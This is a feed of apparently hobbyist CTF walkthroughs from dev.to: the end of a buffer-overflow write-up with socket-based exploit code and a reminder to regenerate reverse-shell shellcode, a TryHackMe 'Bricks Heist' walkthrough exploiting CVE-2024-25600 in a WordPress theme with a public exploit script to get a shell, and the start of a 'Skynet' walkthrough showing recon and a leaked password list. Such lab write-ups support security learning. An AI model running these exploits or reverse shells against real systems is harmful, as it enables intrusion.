    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TIMEOUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USERNAME&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Sending exploit payload...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Payload sent!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember to regenerate the shellcode but with your LHOST and PORT for a reverse-shell!&lt;/p&gt;

&lt;h2&gt;
  
  
  Leasons learned
&lt;/h2&gt;

&lt;p&gt;Buffer overflows need lots of testing and confirming that stuff really went as it should, I think going for static analysis first is better, also always verify 3 times everything such as the address were your stuff is landing, and do simple tests such as EIP overwrite to slowly discard what's wrong if your exploit doesn't work. Also, knowing what could cause a "privileged instruction" error would have helped.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This one was quite hard though fun at least, buffer overflows will usually need lots of debugging and are very fragile in nature so double-check everything before calling your exploit ready! I always try to slowly write pieces of the walkthroughs I do while making the CTF as they usually also work as notes, but for this one I had to correct so much stuff I had actually gotten wrong so many times I straight up just wrote this one from scratch. Bye! :)&lt;/p&gt;

</description>
      <category>bufferoverflow</category>
      <category>ctf</category>
      <category>reverseengineering</category>
      <category>walkthrough</category>
    </item>
    <item>
      <title>TryHack3M: Bricks Heist - CTF Walkthrough</title>
      <dc:creator>ordinary-hacker</dc:creator>
      <pubDate>Fri, 01 Aug 2025 17:43:11 +0000</pubDate>
      <link>https://dev.to/ordinaryhacker/tryhack3m-bricks-heist-ctf-walkthrough-17pl</link>
      <guid>https://dev.to/ordinaryhacker/tryhack3m-bricks-heist-ctf-walkthrough-17pl</guid>
      <description>&lt;p&gt;Hi! Welcome to this new walkthrough :D. On this one we have what seems to be a web application. The challenge's description already throws a hint: "an RCE CVE as your key". This means we'll very likely be looking at the versions of everything running here! In the meantime we'll need to answer some questions. So let's get started!&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial recon and enumeration
&lt;/h2&gt;

&lt;p&gt;First, as always run &lt;code&gt;nmap&lt;/code&gt;. We can immediately discover these open ports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;443 - HTTPS - Might host different stuff than the HTTP server, or maybe the same&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;80 - HTTP - Once again, could be different from the HTTPS server&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;22 - SSH - Useful if we get creds or the unathenticated RCE is here (though I doubt that)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;3306 - MySQL - Very juicy find, unathenticated RCE could perfectly be here, plus this shouldn't be exposed to the outside.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of the &lt;code&gt;nmap&lt;/code&gt; output reveals LOTS of stuff:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Nmap 7.97 scan initiated Thu Jul 31 17:21:38 2025 as: nmap -p- -sS -sC -sV -O -oN port_scan.txt -v 10.X.X.X
Nmap scan report for bricks.thm (10.X.X.X)
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ce:93:03:db:ce:95:78:f8:46:de:21:ad:c4:ec:52:03 (RSA)
|   256 c2:73:d9:64:97:bc:2e:6a:13:86:33:dc:57:35:d8:74 (ECDSA)
|_  256 2b:40:f2:29:48:c3:2f:f6:b7:7e:e9:60:0c:68:67:ca (ED25519)
80/tcp   open  http     Python http.server 3.5 - 3.10
|_http-server-header: WebSockify Python/3.8.10
|_http-title: Error response
443/tcp  open  ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn: 
|   h2
|_  http/1.1
|_http-title: Brick by Brick
|_http-server-header: Apache
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-02T11:59:14
| Not valid after:  2025-04-02T11:59:14
| MD5:     f1df 99bc d5ab 5a5a 5709 5099 4add a385
| SHA-1:   1f26 54bb e2c5 b4a1 1f62 5ea0 af00 0261 35da 23c3
|_SHA-256: 6646 7120 90a1 f20f 69f0 5ea1 8f85 d9d4 baef e272 ff36 5253 2556 8bae 60e6 f43c
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-generator: WordPress 6.5
3306/tcp open  mysql    MySQL (unauthorized)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 27.362 days (since Fri Jul  4 08:43:57 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 31 17:25:53 2025 -- 1 IP address (1 host up) scanned in 255.05 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Basically: HTTP uses WebSockify Python version 3.8.10, HTTPS uses ssl/http Apache, on the Apache server Wordpress 6.5 was used, on the &lt;code&gt;robots.txt&lt;/code&gt; &lt;code&gt;/wp-admin/&lt;/code&gt; was disallowed... however &lt;code&gt;/wp-admin/admin-ajax.php&lt;/code&gt; wasn't, and finally the MySQL is running but is unathorized...&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding what's vulnerable
&lt;/h3&gt;

&lt;p&gt;A decent amount of potential surface. So first I checked ExploitDB and Google for everything on the specific versions we found and got nothing.&lt;/p&gt;

&lt;p&gt;Next I decided to actually take a look at the webapp, HTTP just runs WebSockify which is for converting WebSocket traffic to everyday TCP sockets, so the HTTPS is what matters. &lt;code&gt;/&lt;/code&gt; is essentially empty. So I ran &lt;code&gt;dirsearch&lt;/code&gt; and waited. The thing that I noticed was that &lt;code&gt;/cgi-bin/&lt;/code&gt; was present and endpoints like &lt;code&gt;/cgi-bin/test-cgi&lt;/code&gt; and &lt;code&gt;/cgi-bin/printenv&lt;/code&gt; were accessible! Also, we have a &lt;code&gt;readme.html&lt;/code&gt; and &lt;code&gt;license.txt&lt;/code&gt;. Also the phpMyAdmin README, ChangeLog, even parts of the docs! Let's go step by step, even though the &lt;code&gt;test-cgi&lt;/code&gt; is accessible, it is disabled to show any info, once again same for &lt;code&gt;printenv&lt;/code&gt;. phpMyAdmin is version 5.2.1. License file and README were just Wordpress default.&lt;/p&gt;

&lt;p&gt;Looking even further into &lt;code&gt;dirsearch&lt;/code&gt; output, XML-RPC is open-wide, and &lt;code&gt;/wp-json/wp/v2/users/&lt;/code&gt; also is, which allows to exfiltrate all users:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"administrator"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"http:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;localhost:8000"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"link"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;bricks.thm&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;author&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;administrator&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"administrator"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"avatar_urls"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"24"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;secure.gravatar.com&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;avatar&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;1bbffe6e4a0d55229bb93384d63c0b8c?s=24&amp;amp;d=mm&amp;amp;r=g"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"48"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;secure.gravatar.com&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;avatar&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;1bbffe6e4a0d55229bb93384d63c0b8c?s=48&amp;amp;d=mm&amp;amp;r=g"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"96"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;secure.gravatar.com&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;avatar&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;1bbffe6e4a0d55229bb93384d63c0b8c?s=96&amp;amp;d=mm&amp;amp;r=g"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="nl"&gt;"meta"&lt;/span&gt;&lt;span class="p"&gt;:[],&lt;/span&gt;&lt;span class="nl"&gt;"_links"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"self"&lt;/span&gt;&lt;span class="p"&gt;:[{&lt;/span&gt;&lt;span class="nl"&gt;"href"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;bricks.thm&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;wp-json&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;wp&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;v2&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;users&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;1"&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;&lt;span class="nl"&gt;"collection"&lt;/span&gt;&lt;span class="p"&gt;:[{&lt;/span&gt;&lt;span class="nl"&gt;"href"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;bricks.thm&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;wp-json&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;wp&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;v2&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;users"&lt;/span&gt;&lt;span class="p"&gt;}]}}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I decided to after all of this see if &lt;code&gt;wpscan&lt;/code&gt; brought any results. But I didn't see anything we don't know by now.&lt;/p&gt;

&lt;p&gt;Then I decided to pivot my efforts, curiosly, the Apache webserver version is being hidden from us... which makes it sound like it is a vulnerable one! So I now wanted to see if I could find the precise version. Common stuff like headers doesn't do, unexistent pages just throw Wordpress error, I then tried using &lt;code&gt;sslscan&lt;/code&gt; to attempt to fingerprint the SSL stack to attempt to correlate with potential server versions and got nothing, then ran WhatWeb and once again nothing... I was running out of patience and ideas.&lt;/p&gt;

&lt;p&gt;Do you remember that Websockify was running on port 80? I though that this was potentially a pivot point, so I used &lt;code&gt;wscat&lt;/code&gt; and it managed to connect! I immediately got the output of &lt;code&gt;&amp;lt; RFB 003.008&lt;/code&gt;, which tells this is an RFB handshake, which essentially says this is a VNC server. So I next tried using a proper VNC client to connect to it and didn't manage to do it.&lt;/p&gt;

&lt;p&gt;Afterwards I just could think of a dictionary attack against the administrator, and that also didn't work.&lt;/p&gt;

&lt;p&gt;I randomly while doing something else in the meantime got an idea I though was brilliant, &lt;code&gt;wpscan&lt;/code&gt; managed to find a used "bricks" theme version 1.9.5. I randomly had the hope it would have some weird RCE CVE. And... YES!!!! YES!!!!! FINALLY!!!!!!! I ACTUALLY WASTED SO MUCH TIME LOOKING AT OTHER STUFF!!!!!&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation TIMEEEEE!!!!!!!
&lt;/h2&gt;

&lt;p&gt;Ok, ok... let's take a breath and see. Bricks version 1.9.5 is vulnerable to a critical &lt;strong&gt;unathenticated RCE&lt;/strong&gt;, &lt;strong&gt;CVE-2024-25600&lt;/strong&gt;. Effectively the vulnerability affects all Bricks installs up to version 1.9.6, and allows an attacker with zero auth to execute &lt;strong&gt;arbitrary PHP code&lt;/strong&gt; on the server. Going more technical the plugin uses the &lt;code&gt;eval()&lt;/code&gt; function inappropiately by throwing whatever is in &lt;code&gt;$php_query_raw&lt;/code&gt; straight into the function. Then this can be triggered by crafting a malicious request to the &lt;strong&gt;admin-ajax.php&lt;/strong&gt; (remember this was allowed before?) endpoint which through the &lt;code&gt;Bricks\Ajax::render_element($element)&lt;/code&gt; method (used to show previews of blocks and elements inside an editor) allows to have user-controlled input as the value of &lt;code&gt;$php_query_raw&lt;/code&gt;. If you didn't understand my explanation (very likely) or want a deeper dive you can check out the same &lt;a href="https://medium.com/%40chinamayjoshi/unauthenticated-remote-code-execution-rce-vulnerability-in-bricks-builder-for-wordpress-a12132c91cc1" rel="noopener noreferrer"&gt;blog post&lt;/a&gt; that I used to learn about this.&lt;/p&gt;

&lt;p&gt;Next we are going to finally do this! I choosed the exploit by &lt;a href="https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT" rel="noopener noreferrer"&gt;K3ysTr0K3R&lt;/a&gt; mostly because it already defaults to getting an interactive shell. So we clone it and &lt;code&gt;cd&lt;/code&gt; right into it. In my case I also did a venv, if you also want to do this a &lt;code&gt;requirements.txt&lt;/code&gt; could look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bs4
rich
requests
prompt_toolkit
alive_progress
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, the arguments are simple, just the URL, a file in case there are multiple URLs to test, and the amount of threads. The bare minimum is more than enough, we can specify the URL and run the exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 CVE-2024-25600.py &lt;span class="nt"&gt;-u&lt;/span&gt; https://bricks.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if everything went as it should, we are now in!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   _______    ________    ___   ____ ___  __ __       ___   ___________ ____  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__ \ / ____/ ___// __ \/ __ \
 / /    | | / / __/________/ // / / /_/ / // /_________/ //___ \/ __ \/ / / / / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ __/____/ / /_/ / /_/ / /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/_____/\____/\____/\____/

Coded By: K3ysTr0K3R --&amp;gt; Hello, Friend!

[*] Checking if the target is vulnerable
[+] The target is vulnerable
[*] Initiating exploit against: https://bricks.thm
[*] Initiating interactive shell
[+] Interactive shell opened successfully
Shell&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are able to run commands like normal and do whatever the hell we feel like doing! Well... unless the user "apache" on the machine doesn't have access, of course.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting the flags
&lt;/h2&gt;

&lt;p&gt;Now we are going over each flag one by one:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Just run &lt;code&gt;ls&lt;/code&gt; and you'll see a file with a questionably large and random looking file name, you can just &lt;code&gt;cat&lt;/code&gt; it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I ran &lt;code&gt;ps aux&lt;/code&gt; but nothing really looked uncommon/usual, I grabbed the hint which said to run &lt;code&gt;systemctl | grep running&lt;/code&gt;, look at the output and it is obvious. Well, at least which service it is, to get the name and not description (which is &lt;code&gt;TRYHACK3M&lt;/code&gt;) you'll need to run &lt;code&gt;systemctl status &amp;lt;service name&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;My first instinct was to check &lt;code&gt;/var/log/&lt;/code&gt;, and found nothing, then I tried another thousand ways to discover the log file, and after like 20 minutes I decided to just check a walkthrough real quick, and after everything &lt;code&gt;inet.conf&lt;/code&gt;, yes &lt;code&gt;.conf&lt;/code&gt; was apparently the log file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Next we can &lt;code&gt;cat&lt;/code&gt; the log file and see some sort of "ID". Still reading the walkthrough, after seeing cyberchef was needed I noticed it looked like some sort of hash or maybe hex. I decided to go first with hex as I didn't feel like waiting another hour on a brute-force attack and that actually worked! Or well, from the hex I then got a base64, which was then a base64, which finally was the address: &lt;code&gt;bc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa&lt;/code&gt;. Except apparently it had an extra character which was the &lt;code&gt;a&lt;/code&gt; between &lt;code&gt;h&lt;/code&gt; and &lt;code&gt;d&lt;/code&gt;, making the actual address: &lt;code&gt;bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This one just didn't work for me. I just went to &lt;a href="https://blockchair.com" rel="noopener noreferrer"&gt;blockchair.com&lt;/a&gt; and looked up the address, then tried searching on other places, but the only thing I found where walkthroughs on Google spoiling the answer was "LockBit".&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Essentially, what we learned is to always be persistent (and a lot), and yeah that's it. Pretty fun the initial part of finding the vulnerable thing! Though the rest was just using walkthroughs lol. Though that was the boring part anyways.&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>rce</category>
      <category>walkthrough</category>
      <category>wordpress</category>
    </item>
    <item>
      <title>Skynet THM CTF Walkthrough</title>
      <dc:creator>ordinary-hacker</dc:creator>
      <pubDate>Mon, 28 Jul 2025 00:52:47 +0000</pubDate>
      <link>https://dev.to/ordinaryhacker/skynet-thm-ctf-walkthrough-344h</link>
      <guid>https://dev.to/ordinaryhacker/skynet-thm-ctf-walkthrough-344h</guid>
      <description>&lt;p&gt;Welcome to my little walkthrough for THM's Skynet challenge :D&lt;/p&gt;

&lt;p&gt;I have no idea what this will be so without too much talking let's get started!&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial enumeration
&lt;/h2&gt;

&lt;p&gt;First do blind stuff just trying to get an idea of what to do next!&lt;/p&gt;

&lt;p&gt;Let's start with classic &lt;code&gt;nmap&lt;/code&gt;, I didn't append the whole output because what really matters is what's open.&lt;/p&gt;

&lt;h3&gt;
  
  
  Open ports
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;445 - SMB - Should try to enumerate as anonymous&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;80 - HTTP - Biggest point of interest, manually check it out and probably most stuff will play here over time&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;139 - SMB - Same as the first one&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;143 - IMAP - Maybe attempt to connect and check for interesting stuff on emails???&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;110 - POP3 - Same as the last one&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;22 - SSH - Useful if I get creds&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Decent surface of attack, 4 things it seems: HTTP, IMAP, POP3, SMB.&lt;/p&gt;

&lt;p&gt;Discarding some like SSH which will only go if we get creds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Website functionality
&lt;/h3&gt;

&lt;p&gt;Just a search input and button, request always looking like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST / HTTP/1.1
Host: 10.X.X.X
Content-Length: 20
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.X.X.X
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.X.X.X/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

submit=Skynet+Search
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Changing the submit value seems to have no effect, site is confirmed to be built with PHP.&lt;/p&gt;

&lt;p&gt;These CTFs rarely put what's needed at &lt;code&gt;/&lt;/code&gt;, so I in the meantime ran &lt;code&gt;dirsearch&lt;/code&gt; to attempt to find any dirs, would recommend you to start running it.&lt;/p&gt;

&lt;h2&gt;
  
  
  SMB Shares
&lt;/h2&gt;

&lt;p&gt;There's an &lt;code&gt;anonymous&lt;/code&gt; and &lt;code&gt;milesdyson&lt;/code&gt; share. Only &lt;code&gt;anonymous&lt;/code&gt; is readable, it has an &lt;code&gt;attention.txt&lt;/code&gt; saying:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And also inside &lt;code&gt;logs/&lt;/code&gt; some log files, with the only one with actual content containing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cyborg007haloterminator
terminator22596
terminator219
terminator20
terminator1989
terminator1988
terminator168
terminator16
terminator143
terminator13
terminator123!@#
terminator1056
terminator101
terminator10
terminator02
terminator00
roboterminator
pongterminator
manasturcaluterminator
exterminator95
exterminator200
dterminator
djxterminator
dexterminator
determinator
cyborg007haloterminator
avsterminator
alonsoterminator
Walterminator
79terminator6
1996terminator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These are either users or maybe passwords (even better).&lt;/p&gt;

&lt;p&gt;Now I think we know enough and can actually read what the questions are and see how to use our knowledge.&lt;/p&gt;

&lt;h2&gt;
  
  
  1st Question
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Attempts against SMB
&lt;/h3&gt;

